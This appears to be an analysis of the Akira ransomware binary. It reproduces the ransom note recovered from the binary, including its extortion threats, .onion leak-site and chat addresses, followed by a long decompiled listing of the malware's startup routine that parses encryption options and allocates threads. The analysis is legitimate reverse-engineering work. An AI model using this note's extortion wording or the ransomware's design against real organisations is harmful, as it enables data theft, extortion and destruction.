Akira Binary analysis –
Copied from disassembled binary:
"Hi friends, Whatever who you are and what your title is, if you're reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption.
ATTENTION! Strictly prohibited:
Deleting files with .arika extension;
Replacing or renaming .arika and .akira files;
Using third party software to recover your systems.
If you violate these rules, we cannot guarantee a successful recovery.
Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources.
At the moment, you have to know:
Dealing with us you will save A LOT due to we are not interested in ruining you financially. We will study in depth your finance, bank & income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of the deal.
Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. If you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidentally corrupt them - in this case we won't be able to help.
The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of great value, since NO full audit of your network will show you the vulnerabilities that we've managed to detect and use in order to get into, identify backup solutions and download your data.
As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes - generally speaking, everything that has a value on the darkmarket - to multiple threat actors at once. Then all of this will be published in our blog - akiral2iz6a7qgd3ayp3l6yub7xx2uep76idk3u2kollpj5z3z636bad[.]onion.
We're more than negotiable and will definitely find a way to settle this quickly and reach an agreement which will satisfy both of us.
If you're indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:
Install TOR Browser to get access to our chat room - torproject[.]org/download/.
Paste this link - https://akiralkzxzq2dsrzsrvbr2xgbbu2wgsmxryd4csgfameg52n7efvr2id.onion/d/7645322662-EPJAN .
Use this code - 9380-HZ-HXBC-RKPD - to log into our chat. Keep in mind that the faster you will get in touch, the less damage we cause."
Function –
/* WARNING: Type propagation algorithm not settling */
void FUN_14004d4c0(void) {
int *piVar1;
LPCWSTR pWVar2;
longlong *plVar3;
undefined1 ***pppuVar4;
undefined1 **ppuVar5;
code *pcVar6;
WCHAR WVar7;
HINSTANCE pHVar8;
long lVar9;
HINSTANCE pHVar10;
char cVar11;
int iVar12;
uint uVar13;
tm *_Tm;
LPWSTR lpCmdLine;
LPWSTR *hMem;
undefined1 (*pauVar14) [32];
ushort *puVar15;
HINSTANCE pHVar16;
ulong *puVar17;
undefined8 *puVar18;
longlong lVar19;
LARGE_INTEGER LVar20;
undefined4 *puVar21;
undefined8 uVar22;
ulonglong uVar23;
ulonglong *puVar24;
undefined1 ***pppuVar25;
longlong *plVar26;
LPCWSTR ******pppppppWVar27;
LPSTR lpMultiByteStr;
LPCWSTR pWVar28;
LPCWSTR pWVar29;
wchar_t *******_Str;
LPCWSTR pWVar30;
ulonglong uVar31;
ulonglong *puVar32;
ulonglong *puVar33;
undefined1 ***pppuVar34;
HINSTANCE pHVar35;
undefined1 auStackY_c08 [32];
uint local_bc8 [2];
longlong local_bc0 [5];
undefined1 **local_b98;
undefined1 **ppuStack_b90;
undefined8 local_b88;
LPCWSTR local_b80;
HINSTANCE local_b78;
HINSTANCE local_b70;
longlong local_b68;
undefined8 uStack_b60;
longlong local_b58;
ulonglong uStack_b50;
ulonglong local_b48;
ulonglong uStack_b40;
ulonglong local_b38;
ulonglong uStack_b30;
ulonglong local_b28;
ulonglong uStack_b20;
ulonglong local_b18;
ulonglong uStack_b10;
ulonglong local_b08;
ulonglong uStack_b00;
ulonglong local_af8;
ulonglong uStack_af0;
undefined8 *local_ae8;
ulonglong uStack_ae0;
undefined8 local_ad8;
HINSTANCE local_ad0 [3];
undefined1 ***local_ab8;
longlong *plStack_ab0;
longlong local_aa8 [5];
undefined4 *local_a80;
longlong local_a78 [4];
undefined1 *local_a58;
wchar_t *local_a50;
undefined1 *local_a48;
wchar_t *local_a40;
undefined1 *local_a38;
wchar_t *local_a30;
longlong local_a28 [11];
ulonglong local_9d0;
undefined2 local_9c8;
undefined6 uStack_9c6;
undefined8 uStack_9c0;
longlong local_9b8;
ulonglong uStack_9b0;
undefined2 local_9a8;
undefined6 uStack_9a6;
undefined8 uStack_9a0;
longlong local_998;
ulonglong uStack_990;
undefined2 local_988;
undefined6 uStack_986;
undefined8 uStack_980;
longlong local_978;
ulonglong uStack_970;
undefined1 **local_968;
undefined1 **ppuStack_960;
undefined1 **local_958;
undefined1 **ppuStack_950;
undefined1 ***local_948;
longlong *plStack_940;
undefined1 **local_938;
longlong *plStack_930;
longlong local_928 [3];
ulonglong local_910;
longlong local_908 [3];
ulonglong local_8f0;
longlong local_8e8 [3];
ulonglong local_8d0;
longlong local_8c8 [3];
ulonglong local_8b0;
longlong local_8a8 [4];
ulonglong local_888;
undefined8 uStack_880;
longlong local_878;
ulonglong uStack_870;
undefined8 local_868 [2];
longlong local_858 [4];
longlong local_838 [4];
longlong local_818 [4];
longlong local_7f8 [3];
int iStack_7dc;
longlong local_7d8 [18];
undefined **local_748 [11];
int iStack_6ec;
longlong local_6e8 [18];
undefined **local_658 [11];
int iStack_5fc;
longlong local_5f8 [18];
undefined **local_568 [11];
int iStack_50c;
longlong local_508 [18];
undefined **local_478 [12];
undefined8 local_418 [4];
undefined8 local_3f8 [4];
undefined4 *local_3d8;
wchar_t *******local_3d0;
byte local_3c8;
char local_3c7;
undefined4 local_3c4;
undefined1 ***local_3b8;
longlong *plStack_3b0;
LPCWSTR ******local_3a8;
undefined8 uStack_3a0;
longlong local_398;
ulonglong uStack_390;
LPCWSTR ******local_388;
undefined8 uStack_380;
ulonglong local_378;
ulonglong local_370;
ulonglong local_368;
undefined8 uStack_360;
longlong local_358;
ulonglong uStack_350;
LPCWSTR local_348;
LPCWSTR pWStack_340;
longlong local_338;
wchar_t *******local_330;
undefined8 uStack_328;
longlong local_320;
ulonglong uStack_318;
int local_310 [2];
ulonglong local_308;
undefined8 uStack_300;
longlong local_2f8;
ulonglong uStack_2f0;
longlong local_2e8 [3];
void *local_2d0;
undefined8 local_2c8;
longlong local_2c0 [3];
HINSTANCE local_2a8;
undefined8 local_2a0;
void *local_298;
undefined8 local_290;
undefined2 local_288;
undefined6 uStack_286;
undefined2 uStack_280;
undefined4 uStack_27e;
undefined2 uStack_27a;
undefined8 local_278;
ulonglong local_270;
CHAR local_268 [16];
undefined8 local_258;
ulonglong uStack_250;
LPCWSTR local_248;
LPCWSTR pWStack_240;
undefined8 local_238;
__time64_t local_230;
longlong local_228 [12];
longlong local_1c8 [2];
longlong local_1b8 [4];
longlong *local_198;
longlong *local_190;
longlong *local_178;
ulonglong *local_170;
int *local_160;
ulonglong local_148;
uint local_140;
_SYSTEM_INFO local_c8;
ulonglong local_98 [2];
char local_88 [80];
ulonglong local_38;
local_38 = DAT_1400fa368 ^ (ulonglong)auStackY_c08;
_time64(&local_230);
_Tm = _localtime64(&local_230);
strftime(local_88,0x50,"Log-%d-%m-%Y-%H-%M-%S",_Tm);
local_228[0] = 0;
local_228[1] = 0;
local_228[2] = 0;
local_228[3] = 0;
uVar23 = 0xffffffffffffffff;
do {
uVar31 = uVar23 + 1;
lVar19 = uVar23 + 1;
uVar23 = uVar31;
} while (local_88[lVar19] != '\0');
plVar26 = local_228;
FUN_1400378a0(plVar26,(undefined8 *)local_88,uVar31);
FUN_14004d170(plVar26,local_228);
uStack_360 = 0;
local_358 = 0;
uStack_350 = 7;
local_368 = 0;
uStack_300 = 0;
local_2f8 = 0;
uStack_2f0 = 7;
local_308 = 0;
uStack_328 = 0;
local_320 = 0;
uStack_318 = 7;
local_330 = (wchar_t *******)0x0;
uStack_3a0 = 0;
local_398 = 0;
uStack_390 = 7;
local_3a8 = (LPCWSTR ******)0x0;
lpCmdLine = GetCommandLineW();
hMem = CommandLineToArgvW(lpCmdLine,local_310);
if (hMem == (LPWSTR *)0x0) {
local_bc0[0] = 0;
local_bc0[1] = 0;
local_bc0[2] = 0;
local_bc0[3] = 0;
FUN_1400378a0(local_bc0,(undefined8 *)"Command line to argvW failed!",0x1d);
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,4,local_bc0), DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < (ulonglong)local_bc0[3]) {
if ((0xfff < local_bc0[3] + 1U) &&
(0x1f < (local_bc0[0] - *(longlong *)(local_bc0[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
} else {
uStack_286 = 0;
uStack_280 = 0;
uStack_27e = 0;
uStack_27a = 0;
local_2e8[0] = 0;
local_2e8[1] = 0;
local_2e8[2] = 0;
local_2c8 = 0;
local_2d0 = operator_new(0x60);
*(void **)local_2d0 = local_2d0;
*(void **)((longlong)local_2d0 + 8) = local_2d0;
*(void **)((longlong)local_2d0 + 0x10) = local_2d0;
*(undefined2 *)((longlong)local_2d0 + 0x18) = 0x101;
local_2c0[0] = 0;
local_2c0[1] = 0;
local_2c0[2] = 0;
local_2a0 = 0;
local_2a8 = (HINSTANCE)operator_new(0x40);
*(HINSTANCE *)local_2a8 = local_2a8;
*(HINSTANCE *)(local_2a8 + 2) = local_2a8;
*(HINSTANCE *)(local_2a8 + 4) = local_2a8;
*(undefined2 *)&local_2a8[6].unused = 0x101;
local_290 = 0;
local_298 = operator_new(0x40);
*(void **)local_298 = local_298;
*(void **)((longlong)local_298 + 8) = local_298;
*(void **)((longlong)local_298 + 0x10) = local_298;
*(undefined2 *)((longlong)local_298 + 0x18) = 0x101;
uStack_286 = 0;
uStack_280 = 0;
uStack_27e = 0;
uStack_27a = 0;
local_278 = 0;
local_270 = 7;
local_288 = 0;
FUN_140054ae0(local_2e8,(longlong *)(longlong)local_310[0],hMem);
local_a58 = &LAB_1400de01b+1;
local_a50 = L"--encryption_path";
local_b98 = &local_a58;
ppuStack_b90 = &local_a48;
local_958 = local_b98;
ppuStack_950 = ppuStack_b90;
pauVar14 = FUN_1400500f0((longlong)local_2e8,(undefined1 (*) [32])local_7d8,
(longlong *)&local_958);
FUN_140050f40((longlong)(*pauVar14 + 0x10),(longlong *)&local_9c8);
if (7 < uStack_350) {
if ((0xfff < uStack_350 * 2 + 2) &&
(0x1f < (local_368 - *(longlong *)(local_368 - 8)) - 8)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_368 = CONCAT62(uStack_9c6,local_9c8);
uStack_360 = uStack_9c0;
local_358 = local_9b8;
uStack_350 = uStack_9b0;
local_9b8 = 0;
uStack_9b0 = 7;
local_9c8 = 0;
*(undefined ***)((longlong)local_7d8 + (longlong)*(int *)(local_7d8[0] + 4)) =
std::basic_istringstream<>::vftable;
*(int *)((longlong)&iStack_7dc + (longlong)*(int *)(local_7d8[0] + 4)) =
*(int *)(local_7d8[0] + 4) + -0x90;
FUN_14004fd60(local_7d8 + 2);
*(undefined ***)((longlong)local_7d8 + (longlong)*(int *)(local_7d8[0] + 4)) =
std::basic_istream<>::vftable;
*(int *)((longlong)&iStack_7dc + (longlong)*(int *)(local_7d8[0] + 4)) =
*(int *)(local_7d8[0] + 4) + -0x18;
local_748[0] = std::ios_base::vftable;
std::ios_base::_Ios_base_dtor((ios_base *)local_748);
local_a28[0] = 0;
local_a28[1] = 0;
local_a28[2] = 0;
local_a28[3] = 0;
plVar26 = local_a28;
FUN_14003f050(plVar26,(undefined8 *)&LAB_1400de040,2);
pHVar8 = local_2a8;
puVar15 = (ushort *)FUN_140051160(plVar26,local_908,(short *)local_a28);
pHVar16 = (HINSTANCE)FUN_1400560e0((longlong *)&local_2a8,puVar15);
if (7 < local_8f0) {
if ((0xfff < local_8f0 * 2 + 2) &&
(0x1f < (local_908[0] - *(longlong *)(local_908[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
if (7 < (ulonglong)local_a28[3]) {
if ((0xfff < local_a28[3] * 2 + 2U) &&
(0x1f < (local_a28[0] - *(longlong *)(local_a28[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_a48 = &LAB_1400de08c;
local_a40 = L"--share_file";
local_b98 = &local_a48;
ppuStack_b90 = &local_a38;
local_968 = local_b98;
ppuStack_960 = ppuStack_b90;
pauVar14 = FUN_1400500f0((longlong)local_2e8,(undefined1 (*) [32])local_6e8,
(longlong *)&local_968);
FUN_140050f40((longlong)(*pauVar14 + 0x10),(longlong *)&local_9a8);
if (7 < uStack_2f0) {
if ((0xfff < uStack_2f0 * 2 + 2) &&
(0x1f < (local_308 - *(longlong *)(local_308 - 8)) - 8)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_308 = CONCAT62(uStack_9a6,local_9a8);
uStack_300 = uStack_9a0;
local_2f8 = local_998;
uStack_2f0 = uStack_990;
local_998 = 0;
uStack_990 = 7;
local_9a8 = 0;
*(undefined ***)((longlong)local_6e8 + (longlong)*(int *)(local_6e8[0] + 4)) =
std::basic_istringstream<>::vftable;
*(int *)((longlong)&iStack_6ec + (longlong)*(int *)(local_6e8[0] + 4)) =
*(int *)(local_6e8[0] + 4) + -0x90;
FUN_14004fd60(local_6e8 + 2);
*(undefined ***)((longlong)local_6e8 + (longlong)*(int *)(local_6e8[0] + 4)) =
std::basic_istream<>::vftable;
*(int *)((longlong)&iStack_6ec + (longlong)*(int *)(local_6e8[0] + 4)) =
*(int *)(local_6e8[0] + 4) + -0x18;
local_658[0] = std::ios_base::vftable;
std::ios_base::_Ios_base_dtor((ios_base *)local_658);
local_a38 = &LAB_1400de0c4;
local_a30 = L"--encryption_percent";
local_b98 = &local_a38;
ppuStack_b90 = (undefined1 **)local_a28;
local_938 = local_b98;
plStack_930 = (longlong *)ppuStack_b90;
pauVar14 = FUN_1400500f0((longlong)local_2e8,(undefined1 (*) [32])local_5f8,
(longlong *)&local_938);
FUN_140050f40((longlong)(*pauVar14 + 0x10),(longlong *)&local_988);
if (7 < uStack_318) {
if ((0xfff < uStack_318 * 2 + 2) &&
(0x1f < (ulonglong)((longlong)local_330 + (-8 - (longlong)local_330[-1])))) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_330 = (wchar_t *******)CONCAT62(uStack_986,local_988);
uStack_328 = uStack_980;
local_320 = local_978;
uStack_318 = uStack_970;
local_978 = 0;
uStack_970 = 7;
local_988 = 0;
*(undefined ***)((longlong)local_5f8 + (longlong)*(int *)(local_5f8[0] + 4)) =
std::basic_istringstream<>::vftable;
*(int *)((longlong)&iStack_5fc + (longlong)*(int *)(local_5f8[0] + 4)) =
*(int *)(local_5f8[0] + 4) + -0x90;
FUN_14004fd60(local_5f8 + 2);
*(undefined ***)((longlong)local_5f8 + (longlong)*(int *)(local_5f8[0] + 4)) =
std::basic_istream<>::vftable;
*(int *)((longlong)&iStack_5fc + (longlong)*(int *)(local_5f8[0] + 4)) =
*(int *)(local_5f8[0] + 4) + -0x18;
local_568[0] = std::ios_base::vftable;
std::ios_base::_Ios_base_dtor((ios_base *)local_568);
local_a28[4] = 0;
local_a28[5] = 0;
local_a28[6] = 0;
local_a28[7] = 0;
plVar26 = local_a28 + 4;
FUN_14003f050(plVar26,(undefined8 *)L"-localonly",10);
pHVar10 = local_2a8;
puVar15 = (ushort *)FUN_140051160(plVar26,local_928,(short *)(local_a28 + 4));
local_ad0[0] = (HINSTANCE)FUN_1400560e0((longlong *)&local_2a8,puVar15);
if (7 < local_910) {
if ((0xfff < local_910 * 2 + 2) &&
(0x1f < (local_928[0] - *(longlong *)(local_928[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
if (7 < (ulonglong)local_a28[7]) {
if ((0xfff < local_a28[7] * 2 + 2U) &&
(0x1f < (local_a28[4] - *(longlong *)(local_a28[4] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_b98 = (undefined1 **)&LAB_1400de0cb+1;
ppuStack_b90 = (undefined1 **)0x1400de100;
local_948 = &local_b98;
plStack_940 = &local_b88;
local_3b8 = local_948;
plStack_3b0 = plStack_940;
pauVar14 = FUN_1400500f0((longlong)local_2e8,(undefined1 (*) [32])local_508,
(longlong *)&local_948);
FUN_140050f40((longlong)(*pauVar14 + 0x10),&local_b68);
if (7 < uStack_390) {
if ((0xfff < uStack_390 * 2 + 2) &&
(0x1f < (ulonglong)((longlong)local_3a8 + (-8 - (longlong)local_3a8[-1])))) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_3a8 = (LPCWSTR ******)CONCAT62(local_b68._2_6_,(undefined2)local_b68);
uStack_3a0 = uStack_b60;
local_398 = local_b58;
uStack_390 = uStack_b50;
local_b58 = 0;
uStack_b50 = 7;
local_b68._0_2_ = 0;
*(undefined ***)((longlong)local_508 + (longlong)*(int *)(local_508[0] + 4)) =
std::basic_istringstream<>::vftable;
*(int *)((longlong)&iStack_50c + (longlong)*(int *)(local_508[0] + 4)) =
*(int *)(local_508[0] + 4) + -0x90;
FUN_14004fd60(local_508 + 2);
*(undefined ***)((longlong)local_508 + (longlong)*(int *)(local_508[0] + 4)) =
std::basic_istream<>::vftable;
*(int *)((longlong)&iStack_50c + (longlong)*(int *)(local_508[0] + 4)) =
*(int *)(local_508[0] + 4) + -0x18;
local_478[0] = std::ios_base::vftable;
std::ios_base::_Ios_base_dtor((ios_base *)local_478);
local_bc0[0] = 0;
local_bc0[1] = 0;
local_bc0[2] = 0;
local_bc0[3] = 0;
plVar26 = local_bc0;
FUN_14003f050(plVar26,(undefined8 *)L"-dellog",7);
pHVar35 = local_2a8;
local_b70 = local_2a8;
puVar15 = (ushort *)FUN_140051160(plVar26,local_a28 + 8,(short *)local_bc0);
local_b78 = (HINSTANCE)FUN_1400560e0((longlong *)&local_2a8,puVar15);
if (7 < local_9d0) {
if ((0xfff < local_9d0 * 2 + 2) &&
(0x1f < (local_a28[8] - *(longlong *)(local_a28[8] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
if (7 < (ulonglong)local_bc0[3]) {
if ((0xfff < local_bc0[3] * 2 + 2U) &&
(0x1f < (local_bc0[0] - *(longlong *)(local_bc0[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
if (7 < local_270) {
if ((0xfff < local_270 * 2 + 2) &&
(0x1f < (CONCAT62(uStack_286,local_288) -
*(longlong *)(CONCAT62(uStack_286,local_288) + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
local_278 = 0;
local_270 = 7;
local_288 = 0;
FUN_14005dc80(&local_298,&local_298,*(longlong **)((longlong)local_298 + 8));
FUN_14008decc();
FUN_14005dc80(&local_2a8,&local_2a8,*(longlong **)(local_2a8 + 2));
FUN_14008decc();
FUN_1400451f0(local_2c0);
FUN_140050080((longlong *)&local_2d0);
FUN_1400451f0(local_2e8);
LocalFree(hMem);
local_3c4 = 0x32;
if (local_320 != 0) {
puVar17 = __doserrno();
_Str = (wchar_t *******)&local_330;
if (7 < uStack_318) {
_Str = local_330;
}
*puVar17 = 0;
local_3c4 = wcstol((wchar_t *)_Str,(wchar_t **)&local_3d0,10);
if (_Str == local_3d0) {
FUN_14007fee8(0x1400e25a8);
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
if (*puVar17 == 0x22) {
FUN_14007ff30(0x1400e25c0);
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
}
local_348 = (LPCWSTR)0x0;
pWStack_340 = (LPCWSTR)0x0;
local_338 = 0;
FUN_14007e910((longlong *)&local_348);
if (pHVar8 == pHVar16) {
lVar19 = FUN_1400811e4();
LVar20 = FUN_1400811c8();
if (lVar19 == 10000000) {
pWVar30 = (LPCWSTR)(LVar20.QuadPart * 100);
} else {
pWVar30 = (LPCWSTR)
((LVar20.QuadPart / lVar19) * 1000000000 +
((LVar20.QuadPart % lVar19) * 1000000000) / lVar19);
}
local_b80 = pWVar30;
FUN_140070340();
if (local_398 != 0) {
pppppppWVar27 = (LPCWSTR ******)&local_3a8;
if (7 < uStack_390) {
pppppppWVar27 = local_3a8;
}
iVar12 = WideCharToMultiByte(0,0,(LPCWSTR)pppppppWVar27,(int)local_398,
(LPSTR)0x0,0,(LPCSTR)0x0,(LPBOOL)0x0);
if (iVar12 == 0) {
local_aa8[1] = 0;
local_aa8[2] = 0;
local_aa8[3] = 0xf;
local_aa8[0] = 0;
} else {
FUN_14003b740((undefined1 (*) [32])local_268,(longlong)iVar12,0);
lpMultiByteStr = local_268;
if (0xf < uStack_250) {
lpMultiByteStr = (LPSTR)CONCAT71(local_268._1_7_,local_268[0]);
}
pppppppWVar27 = (LPCWSTR ******)&local_3a8;
if (7 < uStack_390) {
pppppppWVar27 = local_3a8;
}
WideCharToMultiByte(0,0,(LPCWSTR)pppppppWVar27,(int)local_398,
lpMultiByteStr,(int)local_258,(LPCSTR)0x0,
(LPBOOL)0x0);
local_aa8[0] = CONCAT71(local_268._1_7_,local_268[0]);
local_aa8[1]._0_1_ = local_268[8];
local_aa8[1]._1_1_ = local_268[9];
local_aa8[1]._2_1_ = local_268[10];
local_aa8[1]._3_1_ = local_268[0xb];
local_aa8[1]._4_1_ = local_268[0xc];
local_aa8[1]._5_1_ = local_268[0xd];
local_aa8[1]._6_1_ = local_268[0xe];
local_aa8[1]._7_1_ = local_268[0xf];
local_aa8[2] = local_258;
local_aa8[3] = uStack_250;
local_258 = 0;
uStack_250 = 0xf;
local_268[0] = '\0';
}
FUN_140070680(local_aa8);
if (0xf < (ulonglong)local_aa8[3]) {
if ((0xfff < local_aa8[3] + 1U) &&
(0x1f < (local_aa8[0] - *(longlong *)(local_aa8[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
}
FUN_140078d30();
FUN_140079e80();
GetSystemInfo(&local_c8);
if (local_c8.dwNumberOfProcessors == 0) {
local_bc0[0] = 0;
local_bc0[1] = 0;
local_bc0[2] = 0;
local_bc0[3] = 0;
FUN_1400378a0(local_bc0,(undefined8 *)"No cpu available!",0x11);
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,4,local_bc0),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < (ulonglong)local_bc0[3]) {
if ((0xfff < local_bc0[3] + 1U) &&
(0x1f < (local_bc0[0] - *(longlong *)(local_bc0[0] + -8)) - 8U)) {
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
} else {
puVar18 = (undefined8 *)operator_new(0x38);
*puVar18 = 0;
puVar18[1] = 0;
puVar18[2] = 0;
puVar18[3] = 0;
puVar18[4] = 0;
puVar18[5] = 0;
puVar18[6] = 0;
puVar21 = FUN_1400839e0((undefined4 *)puVar18);
local_a80 = puVar21;
if (puVar21 != (undefined4 *)0x0) {
uVar13 = FID_conflict:atoi(&LAB_1400fc07f+1);
uVar22 = FUN_1400846b0((longlong)puVar21,(ulonglong)uVar13,0x1400fb080,'\x01');
if ((int)uVar22 == 0) {
local_228[4] = 0;
local_228[5] = 0;
local_228[6] = 0;
local_228[7] = 0;
local_228[8] = 0;
local_228[9] = 0;
local_228[10] = 0;
FUN_1400839e0((undefined4 *)(local_228 + 4));
local_98[0] = 0;
FUN_140083fe0(local_228 + 4,&DAT_1401031a0);
uVar31 = DAT_1401031a0;
FUN_140083c90(local_228 + 4,8,local_98,DAT_1401031a0);
uVar23 = local_98[0];
if (DAT_1401031a0 != 0) {
uVar23 = DAT_1401031a0 ^ local_98[0];
}
DAT_1401031a0 = uVar23;
FUN_140083a10((undefined1 *)(local_228 + 4));
if ((int)local_c8.dwNumberOfProcessors < 5) {
if (local_c8.dwNumberOfProcessors == 1) {
local_c8.dwNumberOfProcessors = 2;
}
local_c8.dwNumberOfProcessors =
local_c8.dwNumberOfProcessors * 2;
}
local_b88._0_4_ = (int)(local_c8.dwNumberOfProcessors * 0x1e) / 100;
local_bc8[0] = (int)(local_c8.dwNumberOfProcessors * 10) / 100;
if (local_bc8[0] == 0) {
local_bc8[0] = 1;
}
local_b88._4_4_ = (local_c8.dwNumberOfProcessors - (int)local_b88) -
local_bc8[0];
local_3d8 = puVar21;
puVar18 = (undefined8 *)FUN_14003e9f0(local_838,(undefined4 *)&local_b88);
plVar26 = local_858;
puVar18 = FUN_14003e5e0(plVar26,
(undefined8 *)"Number of thread to folder parsers = ",
puVar18,uVar31);
FUN_1400429e0(plVar26,puVar18);
FUN_140037360(local_858);
FUN_140037360(local_838);
puVar24 = (ulonglong *)FUN_14003e9f0(local_8e8,local_bc8);
uVar23 = puVar24[2];
if (puVar24[3] - uVar23 < 0x2a) {
puVar24 = FUN_1400407e0(puVar24,0x2a,uVar23,uVar31,
(undefined8 *)
"Number of thread to root folder parsers = ",
0x2a);
} else {
puVar24[2] = uVar23 + 0x2a;
puVar33 = puVar24;
if (0xf < puVar24[3]) {
puVar33 = (ulonglong *)*puVar24;
}
if (((ulonglong *)0x1400de1a1 < puVar33) ||
((char *)((longlong)puVar33 + uVar23) <
"Number of thread to root folder parsers = ")) {
puVar32 = (ulonglong *)0x2a;
} else if ("Number of thread to root folder parsers = " < puVar33) {
puVar32 = puVar33 + -0x2801bc2f;
} else {
puVar32 = (ulonglong *)0x0;
}
FUN_1400902b0((undefined8 *)((longlong)puVar33 + 0x2a),
puVar33,uVar23 + 1);
FUN_1400902b0(puVar33,
(undefined8 *)
"Number of thread to root folder parsers = ",
(ulonglong)puVar32);
FUN_1400902b0((undefined8 *)((longlong)puVar33 + (longlong)puVar32),
(undefined8 *)((longlong)puVar32 + 0x1400de1a2),
0x2a - (longlong)puVar32);
}
puVar33 = (ulonglong *)0x0;
local_b48 = *puVar24;
uStack_b40 = puVar24[1];
local_b38 = puVar24[2];
uStack_b30 = puVar24[3];
puVar24[2] = 0;
puVar24[3] = 0xf;
*(char *)puVar24 = '\0';
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,2,&local_b48),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < uStack_b30) {
if ((0xfff < uStack_b30 + 1) &&
(0x1f < (local_b48 -
*(longlong *)(local_b48 - 8)) - 8)) goto LAB_14004f557;
FUN_14008decc();
}
local_b38 = 0;
uStack_b30 = 0xf;
local_b48 = local_b48 & 0xffffffffffffff00;
if (0xf < local_8d0) {
if ((0xfff < local_8d0 + 1) &&
(0x1f < (local_8e8[0] -
*(longlong *)(local_8e8[0] + -8)) - 8U)) {
LAB_14004f557:
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
puVar24 = (ulonglong *)FUN_14003e9f0(local_8c8,
(int *)((longlong)&local_b88 + 4));
uVar23 = puVar24[2];
if (puVar24[3] - uVar23 < 0x1f) {
puVar24 = FUN_1400407e0(puVar24,0x1f,uVar23,uVar31,
(undefined8 *)
"Number of threads to encrypt = ",0x1f);
} else {
puVar24[2] = uVar23 + 0x1f;
puVar32 = puVar24;
if (0xf < puVar24[3]) {
puVar32 = (ulonglong *)*puVar24;
}
if (((ulonglong *)0x1400de20e < puVar32) ||
((char *)((longlong)puVar32 + uVar23) <
"Number of threads to encrypt = ")) {
puVar33 = (ulonglong *)0x1f;
} else if ("Number of threads to encrypt = " < puVar32) {
puVar33 = puVar32 + -0x2801bc3e;
}
FUN_1400902b0((undefined8 *)((longlong)puVar32 + 0x1f),
puVar32,uVar23 + 1);
FUN_1400902b0(puVar32,
(undefined8 *)
"Number of threads to encrypt = ",
(ulonglong)puVar33);
FUN_1400902b0((undefined8 *)((longlong)puVar32 + (longlong)puVar33),
(undefined8 *)((longlong)puVar33 + 0x1400de20f),
0x1f - (longlong)puVar33);
}
local_b28 = *puVar24;
uStack_b20 = puVar24[1];
local_b18 = puVar24[2];
uStack_b10 = puVar24[3];
puVar24[2] = 0;
puVar24[3] = 0xf;
*(char *)puVar24 = '\0';
if ((DAT_140103188 != (longlong *)0x0) &&
(FUN_140040630(DAT_140103188,2,&local_b28),
DAT_140103188 != (longlong *)0x0)) {
(**(code **)(*DAT_140103188 + 0x18))();
}
if (0xf < uStack_b10) {
if ((0xfff < uStack_b10 + 1) &&
(0x1f < (local_b28 -
*(longlong *)(local_b28 - 8)) - 8)) goto LAB_14004f55d;
FUN_14008decc();
}
local_b18 = 0;
uStack_b10 = 0xf;
local_b28 = local_b28 & 0xffffffffffffff00;
if (0xf < local_8b0) {
if ((0xfff < local_8b0 + 1) &&
(0x1f < (local_8c8[0] -
*(longlong *)(local_8c8[0] + -8)) - 8U)) {
LAB_14004f55d:
FUN_14009562c();
pcVar6 = (code *)swi(3);
(*pcVar6)();
return;
}
FUN_14008decc();
}
pppuVar25 = (undefined1 ***)operator_new(0x180);
*(undefined4 *)(pppuVar25 + 1) = 1;
*(undefined4 *)((longlong)pppuVar25 + 0xc) = 1;
*pppuVar25 = std::_Ref_count_obj2<>::vftable;
pppuVar4 = pppuVar25 + 2;
